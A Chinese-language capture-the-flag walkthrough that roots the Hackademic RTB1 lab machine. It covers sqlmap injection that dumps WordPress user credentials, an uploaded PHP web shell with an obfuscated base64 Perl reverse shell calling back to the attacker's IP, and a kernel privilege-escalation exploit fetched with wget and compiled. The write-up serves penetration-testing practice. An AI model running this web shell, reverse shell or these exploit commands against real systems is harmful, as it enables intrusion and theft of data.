Description
This is the first realistic hackademic challenge (root this box) by mr.pr0n
Download the target and get root.
After all, try to read the contents of the file ‘key.txt’ in the root directory.
Enjoy!
扫描与服务识别
二层扫描确认靶机的IP
sudo arp-scan -l
通过判断确认靶机IP地址为10.0.1.101
扫描开放端口
sudo nmap -p- 10.0.1.101
确认其开放了80端口,可能是个web服务,扫描它的服务
发现是一个Fedora服务器,暂时没有可用信息
直接访问网站
在网页源码中发现了这是一个Wordpress 1.5.1.1 的CMS,版本很老,可以利用公开发布的漏洞。
在网站中发现一些带参数的链接,并且通过单引号测试发现存在SQL注入漏洞,并且数据库为MySQL。
http://10.0.1.101/Hackademic_RTB1/?cat=1'
SQL注入
用sqlmap工具跑一遍
爆出数据库名
sudo sqlmap -u "http://10.0.1.101/Hackademic_RTB1/?cat=1" --dbs -batch
爆出数据表名
sudo sqlmap -u "http://10.0.1.101/Hackademic_RTB1/?cat=1" -D wordpress --tables -batch
爆出列名
sudo sqlmap -u "http://10.0.1.101/Hackademic_RTB1/?cat=1" -D wordpress -T wp_users --columns -batch
dump数据
sudo sqlmap -u "http://10.0.1.101/Hackademic_RTB1/?cat=1" -D wordpress -T wp_users -C user_login,user_pass --dump -batch
成功破解出6个账户,里面有管理员账户, 但还需要管理后台地址需要进行网站目录爆破
sudo dirsearch -u http://10.0.1.101/Hackademic_RTB1/
发现管理员后台地址
尝试上述获得的账号登陆,最后发现只有GeorgeMiller有管理员权限
通过修改option,允许文件上传。
文件上传
准备一个php的shell木马
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "10.0.1.100";
$yourport = '3334';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
上传文件
上传成功,并且返回了文件路径
通过nc监听3334端口
nc -nvlp 3334
访问http://10.0.1.101/Hackademic_RTB1/wp-content/hack.php
获取到返回的shell,但权限比较较低不是root权限,但是发现linux的内核版本,可以尝试找找提权漏洞
内核提权
查找相应内核版本的漏洞
searchsploit 2.6.3 | grep "Local Privilege"
将shellcode复制到/var/www/html路径
sudo cp /usr/share/exploitdb/exploits/linux/local/15285.c /var/www/html
本地kali开启apache2服务
service apache2 start
通过wget将shellcode下载到靶机中(进入到/tmp目录)
wget http://10.0.1.100/15285.c
编译运行shellcode
gcc 15285.c -o exploit
chmod +x exploit
./exploit
成功获取到root权限
在root目录下找到key.txt文件,获取密码